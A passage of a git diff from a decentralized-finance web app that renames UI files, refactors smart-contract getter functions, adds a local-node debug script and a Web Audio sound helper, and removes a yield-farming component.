a/packages/dapp/components/ui/Loading.tsx +++ b/packages/dapp/components/ui/loading.tsx @@ -1,4 +1,4 @@ -import Spinner from "./Spinner"; +import Spinner from "./spinner"; const Loading = ({ text = "· · ·" }: { text: string }): JSX.Element => (
    diff --git a/packages/dapp/components/ui/MaxButtonWrapper.tsx b/packages/dapp/components/ui/max-button-wrapper.tsx similarity index 100% rename from packages/dapp/components/ui/MaxButtonWrapper.tsx rename to packages/dapp/components/ui/max-button-wrapper.tsx diff --git a/packages/dapp/components/ui/PositiveNumberInput.tsx b/packages/dapp/components/ui/positive-number-input.tsx similarity index 100% rename from packages/dapp/components/ui/PositiveNumberInput.tsx rename to packages/dapp/components/ui/positive-number-input.tsx diff --git a/packages/dapp/components/ui/Spinner.tsx b/packages/dapp/components/ui/spinner.tsx similarity index 100% rename from packages/dapp/components/ui/Spinner.tsx rename to packages/dapp/components/ui/spinner.tsx diff --git a/packages/dapp/components/ui/svgs.tsx b/packages/dapp/components/ui/svgs.tsx index 5b8c1d258..34de90ee0 100644 --- a/packages/dapp/components/ui/svgs.tsx +++ b/packages/dapp/components/ui/svgs.tsx @@ -15,7 +15,7 @@ export default { ), - uad: ( + dollar: ( ), - ubq: ( + governance: ( ), - ucr: ( + credit: ( ), - ucrNft: ( + creditNft: ( { + const { status } = useAccount(); + const [walletAddress] = useWalletAddress(); + const [triedConnecting, setTriedConnecting] = useState(false); + + useDidUpdate(() => { + // If user has tried to connect and failed, play a sound (error sound) + if (status === "connecting") { + setTriedConnecting(true); + } + if (status === "disconnected" && triedConnecting) { + note(400); + setTriedConnecting(false); + } + if (status === "connected" && triedConnecting) { + note(900); + } + }, [status, triedConnecting]); + + return ( + <> + + { + node.addEventListener("transitionend", done, false); + }} + timeout={500} + unmountOnExit + mountOnEnter + > + {walletAddress ? ( +
    {children}
    + ) : ( + + {({ isConnecting, show }) => ( + + )} + + )} + + + + ); +}; + +export default WalletConnectionWall; diff --git a/packages/dapp/components/utils/contracts.ts b/packages/dapp/components/utils/contracts.ts index 84a25b645..01b3d7c0a 100644 --- a/packages/dapp/components/utils/contracts.ts +++ b/packages/dapp/components/utils/contracts.ts @@ -1,142 +1,186 @@ +/* eslint-disable no-unused-vars */ +import { Provider } from "@ethersproject/providers"; import { ContractInterface, ethers } from "ethers"; -import UniswapV2PairABI from "../config/abis/UniswapV2Pair.json"; -import UniswapV3PoolABI from "../config/abis/UniswapV3Pool.json"; -import ChainlinkPriceFeedABI from "../config/abis/ChainlinkPriceFeed.json"; -import ERC20ABI from "../config/abis/ERC20.json"; - -import SimpleBond from "@ubiquity/ubiquistick/artifacts/contracts/SimpleBond.sol/SimpleBond.json"; -import UbiquityStick from "@ubiquity/ubiquistick/artifacts/contracts/TheUbiquityStick.sol/TheUbiquityStick.json"; -import UbiquityStickSale from "@ubiquity/ubiquistick/artifacts/contracts/TheUbiquityStickSale.sol/TheUbiquityStickSale.json"; -import ERC1155Ubiquity from "@ubiquity/dollar/artifacts/contracts/ERC1155Ubiquity.sol/ERC1155Ubiquity.json"; -import IJar from "@ubiquity/dollar/artifacts/contracts/interfaces/IJar.sol/IJar.json"; -import DebtCouponManager from "@ubiquity/dollar/artifacts/contracts/DebtCouponManager.sol/DebtCouponManager.json"; -import ICurveFactory from "@ubiquity/dollar/artifacts/contracts/interfaces/ICurveFactory.sol/ICurveFactory.json"; -import YieldProxy from "@ubiquity/dollar/artifacts/contracts/YieldProxy.sol/YieldProxy.json"; -import BondingShareV2 from "@ubiquity/dollar/artifacts/contracts/BondingShareV2.sol/BondingShareV2.json"; -import BondingV2 from "@ubiquity/dollar/artifacts/contracts/BondingV2.sol/BondingV2.json"; -import DebtCoupon from "@ubiquity/dollar/artifacts/contracts/DebtCoupon.sol/DebtCoupon.json"; -import DollarMintingCalculator from "@ubiquity/dollar/artifacts/contracts/DollarMintingCalculator.sol/DollarMintingCalculator.json"; -import ICouponsForDollarsCalculator from "@ubiquity/dollar/artifacts/contracts/interfaces/ICouponsForDollarsCalculator.sol/ICouponsForDollarsCalculator.json"; -import IMetaPool from "@ubiquity/dollar/artifacts/contracts/interfaces/IMetaPool.sol/IMetaPool.json"; -import IUARForDollarsCalculator from "@ubiquity/dollar/artifacts/contracts/interfaces/IUARForDollarsCalculator.sol/IUARForDollarsCalculator.json"; -import MasterChefv2 from "@ubiquity/dollar/artifacts/contracts/MasterChefV2.sol/MasterChefV2.json"; -import SushiSwapPool from "@ubiquity/dollar/artifacts/contracts/SushiSwapPool.sol/SushiSwapPool.json"; -import TWAPOracle from "@ubiquity/dollar/artifacts/contracts/TWAPOracle.sol/TWAPOracle.json"; -import UbiquityAlgorithmicDollarManager from "@ubiquity/dollar/artifacts/contracts/UbiquityAlgorithmicDollarManager.sol/UbiquityAlgorithmicDollarManager.json"; -import UbiquityAlgorithmicDollar from "@ubiquity/dollar/artifacts/contracts/UbiquityAlgorithmicDollar.sol/UbiquityAlgorithmicDollar.json"; -import UbiquityAutoRedeem from "@ubiquity/dollar/artifacts/contracts/UbiquityAutoRedeem.sol/UbiquityAutoRedeem.json"; -import UbiquityFormulas from "@ubiquity/dollar/artifacts/contracts/UbiquityFormulas.sol/UbiquityFormulas.json"; -import UbiquityGovernance from "@ubiquity/dollar/artifacts/contracts/UbiquityGovernance.sol/UbiquityGovernance.json"; - -const getContract = (abi: ContractInterface, address: string, provider: ethers.providers.Provider) => { +// ARTIFACTS +import _CreditNft from "@ubiquity/contracts/out/CreditNft.sol/CreditNft.json"; +import _CreditNftManager from "@ubiquity/contracts/out/CreditNftManagerFacet.sol/CreditNftManagerFacet.json"; +import _DollarMintCalculator from "@ubiquity/contracts/out/DollarMintCalculatorFacet.sol/DollarMintCalculatorFacet.json"; +import _ERC1155Ubiquity from "@ubiquity/contracts/out/ERC1155Ubiquity.sol/ERC1155Ubiquity.json"; +import _ICreditNftRedemptionCalculator from "@ubiquity/contracts/out/ICreditNftRedemptionCalculator.sol/ICreditNftRedemptionCalculator.json"; +import _ICreditRedemptionCalculator from "@ubiquity/contracts/out/ICreditRedemptionCalculator.sol/ICreditRedemptionCalculator.json"; +import _ICurveFactory from "@ubiquity/contracts/out/ICurveFactory.sol/ICurveFactory.json"; +import _IMetaPool from "@ubiquity/contracts/out/IMetaPool.sol/IMetaPool.json"; +import _SimpleBond from "@ubiquity/contracts/out/SimpleBond.sol/SimpleBond.json"; +import _Staking from "@ubiquity/contracts/out/StakingFacet.sol/StakingFacet.json"; +import _StakingToken from "@ubiquity/contracts/out/StakingShare.sol/StakingShare.json"; +import _SushiSwapPool from "@ubiquity/contracts/out/SushiSwapPool.sol/SushiSwapPool.json"; +import _TWAPOracle from "@ubiquity/contracts/out/ICurveStableSwapMetaNG.sol/ICurveStableSwapMetaNG.json"; +import _UbiquiStick from "@ubiquity/contracts/out/UbiquiStick.sol/UbiquiStick.json"; +import _UbiquiStickSale from "@ubiquity/contracts/out/UbiquiStickSale.sol/UbiquiStickSale.json"; +import _MasterChefV2 from "@ubiquity/contracts/out/ChefFacet.sol/ChefFacet.json"; +import _Credit from "@ubiquity/contracts/out/UbiquityCreditToken.sol/UbiquityCreditToken.json"; +import _UbiquityManager from "@ubiquity/contracts/out/ManagerFacet.sol/ManagerFacet.json"; +import _Dollar from "@ubiquity/contracts/out/UbiquityDollarToken.sol/UbiquityDollarToken.json"; +import _UbiquityFormulas from "@ubiquity/contracts/out/StakingFormulasFacet.sol/StakingFormulasFacet.json"; +import _Governance from "@ubiquity/contracts/out/UbiquityGovernanceToken.sol/UbiquityGovernanceToken.json"; + +// ABIs +import ChainlinkPriceFeedABI from "../config/abis/chainlink-price-feed.json"; +import DAITokenABI from "../config/abis/dai-token.json"; +import ERC20ABI from "../config/abis/erc-20.json"; +import UniswapV2PairABI from "../config/abis/uniswap-v-2-pair.json"; +import UniswapV3PoolABI from "../config/abis/uniswap-v-3-pool.json"; +import UniswapV3RouterABI from "../config/abis/uniswap-v-3-router.json"; +import USDCTokenABI from "../config/abis/usdc-token.json"; +import USDTTokenABI from "../config/abis/usdt-token.json"; +import YieldProxyABI from "../config/abis/yield-proxy.json"; + +import { + CreditNft, + CreditNftManagerFacet, + CreditNftRedemptionCalculatorFacet, + CreditRedemptionCalculatorFacet, + DollarMintCalculatorFacet, + ERC1155Ubiquity, + ERC20, + ICurveFactory, + ICurveStableSwapMetaNG, + IMetaPool, + IUniswapV2Pair, + SimpleBond, + StakingFacet, + StakingShare, + SushiSwapPool, + UbiquiStick, + UbiquiStickSale, + ChefFacet, + UbiquityCreditToken, + ManagerFacet, + UbiquityDollarToken, + StakingFormulasFacet, + UbiquityGovernanceToken, +} from "types"; + +const getContract = (abi: ContractInterface, address: string, provider: Provider) => { return new ethers.Contract(address, abi, provider); }; -export const getUniswapV2FactoryContract = (address: string, provider: ethers.providers.Provider) => { - return getContract(UniswapV2PairABI, address, provider); +export const getUniswapV2PairContract = (address: string, provider: Provider) => { + return getContract(UniswapV2PairABI, address, provider) as IUniswapV2Pair; }; -export const getUniswapV3PoolContract = (address: string, provider: ethers.providers.Provider) => { - return getContract(UniswapV3PoolABI, address, provider); +export const getUniswapV3PoolContract = (address: string, provider: Provider) => { + return getContract(UniswapV3PoolABI, address, provider); // as UniswapV3Pool; +}; +export const getUniswapV3RouterContract = (address: string, provider: Provider) => { + return getContract(UniswapV3RouterABI, address, provider); // as ISwapRouter; +}; + +export const getChainlinkPriceFeedContract = (address: string, provider: Provider): ethers.Contract => { + return getContract(ChainlinkPriceFeedABI, address, provider); // as ChainlinkPriceFeed; +}; + +export const getERC20Contract = (address: string, provider: Provider) => { + return getContract(ERC20ABI, address, provider) as ERC20; }; -export const getChainlinkPriceFeedContract = (address: string, provider: ethers.providers.Provider): ethers.Contract => { - return getContract(ChainlinkPriceFeedABI, address, provider); +export const getERC1155UbiquityContract = (address: string, provider: Provider) => { + return getContract(_ERC1155Ubiquity.abi, address, provider) as ERC1155Ubiquity; }; -export const getERC20Contract = (address: string, provider: ethers.providers.Provider) => { - return getContract(ERC20ABI, address, provider); +export const getSimpleBondContract = (address: string, provider: Provider) => { + return getContract(_SimpleBond.abi, address, provider) as SimpleBond; }; -export const getERC1155UbiquityContract = (address: string, provider: ethers.providers.Provider) => { - return getContract(ERC1155Ubiquity.abi, address, provider); +export const getUbiquiStickContract = (address: string, provider: Provider) => { + return getContract(_UbiquiStick.abi, address, provider) as UbiquiStick; }; -export const getSimpleBondContract = (address: string, provider: ethers.providers.Provider) => { - return getContract(SimpleBond.abi, address, provider); +export const getUbiquiStickSaleContract = (address: string, provider: Provider) => { + return getContract(_UbiquiStickSale.abi, address, provider) as UbiquiStickSale; }; -export const getUbiquitystickContract = (address: string, provider: ethers.providers.Provider) => { - return getContract(UbiquityStick.abi, address, provider); +export const getCreditNftManagerContract = (address: string, provider: Provider) => { + return getContract(_CreditNftManager.abi, address, provider) as CreditNftManagerFacet; }; -export const getUbiquityStickSaleContract = (address: string, provider: ethers.providers.Provider) => { - return getContract(UbiquityStickSale.abi, address, provider); +export const getCurveFactoryContract = (address: string, provider: Provider) => { + return getContract(_ICurveFactory.abi, address, provider) as ICurveFactory; }; -export const getIJarContract = (address: string, provider: ethers.providers.Provider) => { - return getContract(IJar.abi, address, provider); +export const getYieldProxyContract = (address: string, provider: Provider) => { + return getContract(YieldProxyABI, address, provider); // as YieldProxy; }; -export const getDebtCouponManagerContract = (address: string, provider: ethers.providers.Provider) => { - return getContract(DebtCouponManager.abi, address, provider); +export const getStakingShareContract = (address: string, provider: Provider) => { + return getContract(_StakingToken.abi, address, provider) as StakingShare; }; -export const getCurveFactoryContract = (address: string, provider: ethers.providers.Provider) => { - return getContract(ICurveFactory.abi, address, provider); +export const getStakingV2Contract = (address: string, provider: Provider) => { + return getContract(_Staking.abi, address, provider) as StakingFacet; }; -export const getYieldProxyContract = (address: string, provider: ethers.providers.Provider) => { - return getContract(YieldProxy.abi, address, provider); +export const getCreditNftContract = (address: string, provider: Provider) => { + return getContract(_CreditNft.abi, address, provider) as CreditNft; }; -export const getBondingShareV2Contract = (address: string, provider: ethers.providers.Provider) => { - return getContract(BondingShareV2.abi, address, provider); +export const getTWAPOracleContract = (address: string, provider: Provider) => { + return getContract(_TWAPOracle.abi, address, provider) as ICurveStableSwapMetaNG; }; -export const getBondingV2Contract = (address: string, provider: ethers.providers.Provider) => { - return getContract(BondingV2.abi, address, provider); +export const getDollarMintCalculatorContract = (address: string, provider: Provider) => { + return getContract(_DollarMintCalculator.abi, address, provider) as DollarMintCalculatorFacet; }; -export const getDebtCouponContract = (address: string, provider: ethers.providers.Provider) => { - return getContract(DebtCoupon.abi, address, provider); +export const getCreditNftRedemptionCalculatorContract = (address: string, provider: Provider) => { + return getContract(_ICreditNftRedemptionCalculator.abi, address, provider) as CreditNftRedemptionCalculatorFacet; }; -export const getTWAPOracleContract = (address: string, provider: ethers.providers.Provider) => { - return getContract(TWAPOracle.abi, address, provider); +export const getCreditRedemptionCalculatorContract = (address: string, provider: Provider) => { + return getContract(_ICreditRedemptionCalculator.abi, address, provider) as CreditRedemptionCalculatorFacet; }; -export const getDollarMintingCalculatorContract = (address: string, provider: ethers.providers.Provider) => { - return getContract(DollarMintingCalculator.abi, address, provider); +export const getIMetaPoolContract = (address: string, provider: Provider) => { + return getContract(_IMetaPool.abi, address, provider) as IMetaPool; }; -export const getICouponsForDollarsCalculatorContract = (address: string, provider: ethers.providers.Provider) => { - return getContract(ICouponsForDollarsCalculator.abi, address, provider); +export const getMasterChefV2Contract = (address: string, provider: Provider) => { + return getContract(_MasterChefV2.abi, address, provider) as ChefFacet; }; -export const getIUARForDollarsCalculatorContract = (address: string, provider: ethers.providers.Provider) => { - return getContract(IUARForDollarsCalculator.abi, address, provider); +export const getSushiSwapPoolContract = (address: string, provider: Provider) => { + return getContract(_SushiSwapPool.abi, address, provider) as SushiSwapPool; }; -export const getIMetaPoolContract = (address: string, provider: ethers.providers.Provider) => { - return getContract(IMetaPool.abi, address, provider); +export const getUbiquityManagerContract = (address: string, provider: Provider) => { + return getContract(_UbiquityManager.abi, address, provider) as ManagerFacet; }; -export const getMasterChefv2Contract = (address: string, provider: ethers.providers.Provider) => { - return getContract(MasterChefv2.abi, address, provider); +export const getDollarContract = (address: string, provider: Provider) => { + return getContract(_Dollar.abi, address, provider) as UbiquityDollarToken; }; -export const getSushiSwapPoolContract = (address: string, provider: ethers.providers.Provider) => { - return getContract(SushiSwapPool.abi, address, provider); +export const getCreditContract = (address: string, provider: Provider) => { + return getContract(_Credit.abi, address, provider) as UbiquityCreditToken; }; -export const getUbiquityAlgorithmicDollarManagerContract = (address: string, provider: ethers.providers.Provider) => { - return getContract(UbiquityAlgorithmicDollarManager.abi, address, provider); +export const getUbiquityFormulasContract = (address: string, provider: Provider) => { + return getContract(_UbiquityFormulas.abi, address, provider) as StakingFormulasFacet; }; -export const getUbiquityAlgorithmicDollarContract = (address: string, provider: ethers.providers.Provider) => { - return getContract(UbiquityAlgorithmicDollar.abi, address, provider); +export const getGovernanceContract = (address: string, provider: Provider) => { + return getContract(_Governance.abi, address, provider) as UbiquityGovernanceToken; }; -export const getUbiquityAutoRedeemContract = (address: string, provider: ethers.providers.Provider) => { - return getContract(UbiquityAutoRedeem.abi, address, provider); +export const getUSDCTokenContract = (address: string, provider: Provider) => { + return getContract(USDCTokenABI, address, provider) as ERC20; }; -export const getUbiquityFormulasContract = (address: string, provider: ethers.providers.Provider) => { - return getContract(UbiquityFormulas.abi, address, provider); +export const getDAITokenContract = (address: string, provider: Provider) => { + return getContract(DAITokenABI, address, provider) as ERC20; }; -export const getUbiquityGovernanceContract = (address: string, provider: ethers.providers.Provider) => { - return getContract(UbiquityGovernance.abi, address, provider); +export const getUSDTTokenContract = (address: string, provider: Provider) => { + return getContract(USDTTokenABI, address, provider) as ERC20; }; diff --git a/packages/dapp/components/utils/deployments.ts b/packages/dapp/components/utils/deployments.ts deleted file mode 100644 index 2b60f4b8b..000000000 --- a/packages/dapp/components/utils/deployments.ts +++ /dev/null @@ -1,21 +0,0 @@ -import UbiquityDollarDeployments from "@ubiquity/dollar/deployments.json"; -import UbiquityStickDeployments from "@ubiquity/ubiquistick/deployments.json"; - -const _dollarDeployments = (): Record => { - return UbiquityDollarDeployments; -}; - -const _stickDeployments = (): Record => { - return UbiquityStickDeployments; -}; - -export const getDeployments = (chainId: number, contractName: string): { address: string; abi: any } | undefined => { - const dollarRecord = _dollarDeployments()[chainId.toString()] ?? {}; - const dollarContract = dollarRecord[0]?.contracts ? dollarRecord[0]?.contracts[contractName] : undefined; - if (dollarContract) return { address: dollarContract.address, abi: dollarContract.abi }; - - const stickRecord = _stickDeployments()[chainId.toString()] ?? {}; - const stickContract = stickRecord[0]?.contract ? stickRecord[0]?.contract[contractName] : undefined; - - return stickContract ? { address: stickContract.address, abi: stickContract.abi } : undefined; -}; diff --git a/packages/dapp/components/utils/local-data.ts b/packages/dapp/components/utils/local-data.ts new file mode 100644 index 000000000..b0c29ad43 --- /dev/null +++ b/packages/dapp/components/utils/local-data.ts @@ -0,0 +1,130 @@ +import { ethers } from "ethers"; +import { + getUbiquityManagerContract, + // getERC20Contract, + getCreditNftContract, + getCreditNftManagerContract, + getTWAPOracleContract, + getDollarContract, +} from "@/components/utils/contracts"; +import { Signer } from "ethers"; +import { LOCAL_NODE_ADDRESS } from "@/components/lib/hooks/use-web-3"; + +const DEBUG = process.env.NEXT_PUBLIC_DEBUG || ""; +const ON = "true"; +const CHAIN_HEX = 0x7a69; // Anvil + +export async function fetchData() { + if (DEBUG === ON) { + const JSON_RPC = new ethers.providers.JsonRpcProvider(LOCAL_NODE_ADDRESS); + const provider = JSON_RPC; + + const LOCAL_CHAIN = provider.network?.chainId; + const signer: Signer = provider.getSigner(); + + const diamondAddress = "0xbe0efAbc83686a81903C1D4a2515f8111e53B5Cb"; + const diamondContract = getUbiquityManagerContract(diamondAddress, provider); + + // Check Address + // This for debugging + //Check Line 91 + //const UbiquityDollarToken = await getERC20Contract(diamondAddress, provider); + + const block = await provider.getBlockNumber(); + const RANDOM_WALLET = ethers.Wallet.createRandom().address; + + const ubiquityDollar = getDollarContract("0xF98F9083a9226b200dA8CbC4bfeCDAE58DA59889", provider); + + // NFTAddress + const NFTMinter = ethers.Wallet.createRandom().address; + const CreditNftFacet = getCreditNftContract(await diamondContract.creditNftAddress(), provider); + const CreditNftManager = getCreditNftManagerContract(diamondAddress, provider); + const TWAPOracle = getTWAPOracleContract(await diamondContract.twapOracleAddress(), provider); + + { + try { + // Default addresses after deploy + console.log(diamondContract.address, "Diamond Address"); + console.log(await diamondContract.dollarTokenAddress(), "Dollar Token Address"); + console.log(await diamondContract.treasuryAddress(), "Treasury Address"); + console.log(await diamondContract.dollarMintCalculatorAddress(), "Dollar Mint Calc Address"); + + // Credit NFT Minting and Balances + console.log((await diamondContract.connect(signer).setCreditNftAddress("0xC39f62EC50748D6b05DC0dEf63943efF84E95f98")).hash); + + console.log(await diamondContract.creditNftAddress(), "Credit NFT Address"); + + // Needs dynamism and more debugging but works mints and burns! + console.log((await CreditNftFacet.connect(signer).mintCreditNft(signer.getAddress(), "1", 2000000 + 300)).hash); + console.log((await CreditNftFacet.connect(signer).burnCreditNft(signer.getAddress(), 0, "1000000")).hash); + + console.log((await CreditNftFacet.totalSupply()).toBigInt(), "Credit NFT Total Supply"); + console.log((await CreditNftFacet.balanceOf(signer.getAddress(), "0")).toBigInt(), "Credit NFT Balance"); + console.log((await CreditNftFacet.holderTokens(signer.getAddress())).toString(), "Credit Holders"); + + // Diamond Address + console.log(await CreditNftFacet.getManager(), "Manager"); + + console.log((await CreditNftManager.connect(signer).getCreditNftReturnedForDollars(signer.getAddress())).toBigInt(), "Credit NFT Returned Dollars"); + + // Call CreditNft ManagerFacet + console.log("Anvil Block Number", block); + console.log("Connected to Chain ID", LOCAL_CHAIN); + + // triggers https://github.com/ubiquity/ubiquity-dollar/blob/f8ac092383b70ffbde4c22536025117babdf2c8f/packages/contracts/src/dollar/Diamond.sol#L41 + // but then it clogged the whole transactions, it's good to have it as a debug ref + // console.log( + // await UbiquityDollarToken.connect(signer).decimals(), + // "Decimals" + // ); + } catch (error) { + console.log(error); + } + } + + if (LOCAL_CHAIN === CHAIN_HEX) { + console.log(block, "Anvil Block"); + } + + // Bring to the front console + console.log(await diamondContract.address, "Diamond Address"); + console.log(await diamondContract.treasuryAddress(), "Treasury Address"); + console.log(await diamondContract.dollarTokenAddress(), "Dollar Token"); + console.log(await diamondContract.creditNftAddress(), "Credit NFT Address"); + console.log(await diamondContract.twapOracleAddress(), "Twap Oracle Account"); + console.log(await diamondContract.governanceTokenAddress(), "Governance Token"); + console.log(await diamondContract.treasuryAddress(), "Treasury Address"); + + console.log(NFTMinter, "NFTMinter Address"); + console.log(await signer.getAddress(), "msg.sender"); + console.log((await signer.getBalance()).toBigInt(), "msg.sender Balance"); + + // Makes connection to set Dollar Token + await diamondContract.connect(signer).setDollarTokenAddress(ubiquityDollar.address); + console.log(await diamondContract.dollarTokenAddress(), "Dollar Token thru Diamond"); + console.log(ubiquityDollar.address, "Ubiquity...."); + + console.log(await ubiquityDollar.deployed(), "Ubiquity deployed"); + + // It will output token name at constructor time + console.log(await ubiquityDollar.name()); + console.log(await ubiquityDollar.decimals(), "Ubiquity decimals"); + console.log((await ubiquityDollar.totalSupply()).toBigInt(), "Ubiquity total Supply"); + + console.log((await ubiquityDollar.connect(signer).balanceOf(RANDOM_WALLET)).toBigInt(), "Random Wallet Balance"); + + console.log("%c" + TWAPOracle.address, "color: yellow", "twap address"); + + // Working + console.log((await CreditNftManager.connect(signer).setExpiredCreditNftConversionRate(100)).hash, "Set Expired Credit NFT Conversion"); + console.log((await CreditNftManager.connect(signer).expiredCreditNftConversionRate()).toBigInt(), "Expired Credit NFT Conversion Rate"); + console.log((await CreditNftManager.connect(signer).setCreditNftLength(1000000000)).hash, "Set Credit NFT Length Blocks"); + console.log((await CreditNftManager.connect(signer).creditNftLengthBlocks()).toBigInt(), "Credit NFT Length Blocks"); + + // Caller + console.log(await signer.getAddress(), "Caller Address"); + } +} + +fetchData(); +export default fetchData; diff --git a/packages/dapp/components/utils/sounds.ts b/packages/dapp/components/utils/sounds.ts new file mode 100644 index 000000000..76a3cd218 --- /dev/null +++ b/packages/dapp/components/utils/sounds.ts @@ -0,0 +1,106 @@ +export const note = ( + frequency: number | number[], + meta?: { + type?: "sine" | "square" | "sawtooth" | "triangle" | "custom"; + volume?: number; + sustain?: number; + chord?: (() => void)[] | boolean; + reverb?: number; + }, + callback?: () => void +): void => { + if (typeof window === "undefined") return; + const context = new (window.AudioContext || window.webkitAudioContext)(); + + if (!context) return console.log("No AudioContext available"); + + if (!meta) meta = {}; + const undef = void 0; + if (meta.type == undef) meta.type = "sine"; + if (meta.volume == undef) meta.volume = 0.03125; + if (meta.sustain == undef) meta.sustain = 0; + if (meta.chord == undef) meta.chord = false; + if (meta.reverb == undef) meta.reverb = 0.25; + // console.log(JSON.stringify(meta, null, '\t')); + if (typeof frequency !== "number") { + let x = frequency.length; + while (x--) { + if (x) note(frequency[x], meta); + else return note(frequency[x], meta, callback); + } + } + if (typeof frequency === "number") { + const o = context.createOscillator(); + const g = context.createGain(); + o.type = meta.type; + o.connect(g); + g.gain.value = meta.volume; + o.frequency.value = frequency; + g.connect(context.destination); + o.start(0); + + if (!meta.chord) { + g.gain.setTargetAtTime(0, context.currentTime + meta.sustain, meta.reverb); + } else if (Array.isArray(meta.chord)) + meta.chord.push( + (function (g, context, meta) { + return () => { + g.gain.setTargetAtTime(0, context.currentTime + (meta.sustain ?? 0), meta.reverb ?? 0); + }; + })(g, context, meta) + ); + } + + if (callback) { + if (Array.isArray(meta.chord)) { + let x = meta.chord.length; + while (x--) meta.chord[x](); + } + callback(); + } +}; + +export const enterSound = () => { + play([[950], [950, 1250], [1250, 1900], [1600, 1900]], 100, { + reverb: 0.25, + type: "sine", + }); +}; + +export const notes = [ + [16.35, 17.32, 18.35, 19.45, 20.6, 21.83, 23.12, 24.5, 25.96, 27.5, 29.14, 30.87], + [32.7, 34.65, 36.71, 38.89, 41.2, 43.65, 46.25, 49.0, 51.91, 55.0, 58.27, 61.74], + [65.41, 69.3, 73.42, 77.78, 82.41, 87.31, 92.5, 98.0, 103.8, 110.0, 116.5, 123.5], + [130.8, 138.6, 146.8, 155.6, 164.8, 174.6, 185.0, 196.0, 207.7, 220.0, 233.1, 246.9], + [261.6, 277.2, 293.7, 311.1, 329.6, 349.2, 370.0, 392.0, 415.3, 440.0, 466.2, 493.9], + [523.3, 554.4, 587.3, 622.3, 659.3, 698.5, 740.0, 784.0, 830.6, 880.0, 932.3, 987.8], + [1047, 1109, 1175, 1245, 1319, 1397, 1480, 1568, 1661, 1760, 1865, 1976], + [2093, 2217, 2349, 2489, 2637, 2794, 2960, 3136, 3322, 3520, 3729, 3951], + [4186, 4435, 4699, 4978, 5274, 5588, 5920, 6272, 6645, 7040, 7459, 7902], +]; + +export const chipNote = () => + note(9250, { + reverb: 0, + sustain: 1 / 32, + volume: 1 / 256, + type: "sawtooth", + }); + +export const play = ( + notes: number[] | number[][], + speed: number, + meta: { + type?: "sine" | "square" | "sawtooth" | "triangle" | "custom"; + volume?: number; + sustain?: number; + chord?: (() => void)[] | boolean; + reverb?: number; + } +) => + note(notes.shift() ?? 0, meta, () => { + if (notes.length) + setTimeout(function () { + play(notes, speed, meta); + }, speed); + }); diff --git a/packages/dapp/components/yield-farming/YieldFarming.tsx b/packages/dapp/components/yield-farming/YieldFarming.tsx deleted file mode 100644 index 1c7a1032d..000000000 --- a/packages/dapp/components/yield-farming/YieldFarming.tsx +++ /dev/null @@ -1,478 +0,0 @@ -import { BigNumber, Contract, ethers } from "ethers"; -import { memo, useEffect, useState } from "react"; - -import { ensureERC20Allowance } from "@/lib/contracts-shortcuts"; -import { constrainStringNumber, performTransaction } from "@/lib/utils"; -import withLoadedContext, { LoadedContext } from "@/lib/withLoadedContext"; - -import { loadYieldProxyData, loadYieldProxyDepositInfo, YieldProxyData, YieldProxyDepositInfo } from "./lib/data"; -import useBalances from "../lib/hooks/useBalances"; -import useTransactionLogger from "../lib/hooks/useTransactionLogger"; -import Button from "../ui/Button"; -import Icon from "../ui/Icon"; -import MaxButtonWrapper from "../ui/MaxButtonWrapper"; -import PositiveNumberInput from "../ui/PositiveNumberInput"; -import Tooltip from "../ui/Tooltip"; -import WalletNotConnected from "../ui/WalletNotConnected"; -import { ButtonLink } from "@/components/ui/Button"; - -type Balance = { usdc: number; ubq: number; uad: number }; - -type Actions = { - onDeposit: (payload: Balance) => void; - onWithdraw: () => void; -}; - -export const YieldFarmingContainer = ({ managedContracts, namedContracts: contracts, walletAddress, signer }: LoadedContext) => { - const [yieldProxyData, setYieldProxyData] = useState(null); - const [depositInfo, setDepositInfo] = useState(null); - const [, doTransaction, doingTransaction] = useTransactionLogger(); - const [balances, refreshBalances] = useBalances(); - - async function refreshYieldProxyData() { - const ypd = await loadYieldProxyData(contracts); - const di = await loadYieldProxyDepositInfo(ypd, contracts, walletAddress); - setYieldProxyData(ypd); - setDepositInfo(di); - } - - useEffect(() => { - (async function () { - refreshYieldProxyData(); - })(); - }, []); - - const actions: Actions = { - onDeposit: async ({ usdc, ubq, uad }) => { - doTransaction("Depositing...", async () => { - const bigUsdc = ethers.utils.parseUnits(String(usdc), 6); - const bigUbq = ethers.utils.parseUnits(String(ubq), 18); - const bigUad = ethers.utils.parseUnits(String(uad), 18); - console.log(`Depositing: USDC ${usdc} | UBQ ${ubq} | uAD ${uad}`); - if ( - (await ensureERC20Allowance("USDC", contracts.usdc, bigUsdc, signer, contracts.yieldProxy.address, 6)) && - (await ensureERC20Allowance("UBQ", managedContracts.governanceToken as unknown as Contract, bigUbq, signer, contracts.yieldProxy.address)) && - (await ensureERC20Allowance("uAD", managedContracts.dollarToken as unknown as Contract, bigUad, signer, contracts.yieldProxy.address)) && - (await performTransaction(contracts.yieldProxy.connect(signer).deposit(bigUsdc, bigUad, bigUbq))) - ) { - await refreshYieldProxyData(); - await refreshBalances(); - } else { - // TODO: Show transaction error - } - }); - }, - onWithdraw: async () => { - doTransaction("Withdrawing...", async () => { - await performTransaction(contracts.yieldProxy.connect(signer).withdrawAll()); - await refreshYieldProxyData(); - await refreshBalances(); - }); - }, - }; - - const parsedBalances = balances && { - usdc: +ethers.utils.formatUnits(balances.usdc, 6), - ubq: +ethers.utils.formatEther(balances.ubq), - uad: +ethers.utils.formatEther(balances.uad), - }; - - return ( - - ); -}; - -type YieldFarmingSubcontainerProps = { - yieldProxyData: YieldProxyData | null; - depositInfo: YieldProxyDepositInfo | null; - isProcessing: boolean; - actions: Actions; - balance: Balance | null; -}; - -const fm = (n: BigNumber, d = 18) => +ethers.utils.formatUnits(n, d); -const USDC_JAR_APY = { min: 10.1, max: 19.65 }; -const TVL = { usdc: 1.2, ubq: 2.5, uad: 0.6 }; - -export const YieldFarmingSubcontainer = ({ actions, yieldProxyData, depositInfo, isProcessing, balance }: YieldFarmingSubcontainerProps) => { - return ( -
    -

    Vaults (Beta)

    - -
    - uCR is 1:1 redeemable for uAD when the TWAP goes above 1.00. - - - -
    -
    - - Learn More - -
    - {yieldProxyData ? ( - depositInfo ? ( - - ) : balance ? ( - - ) : ( - "· · ·" - ) - ) : ( - "· · ·" - )} -
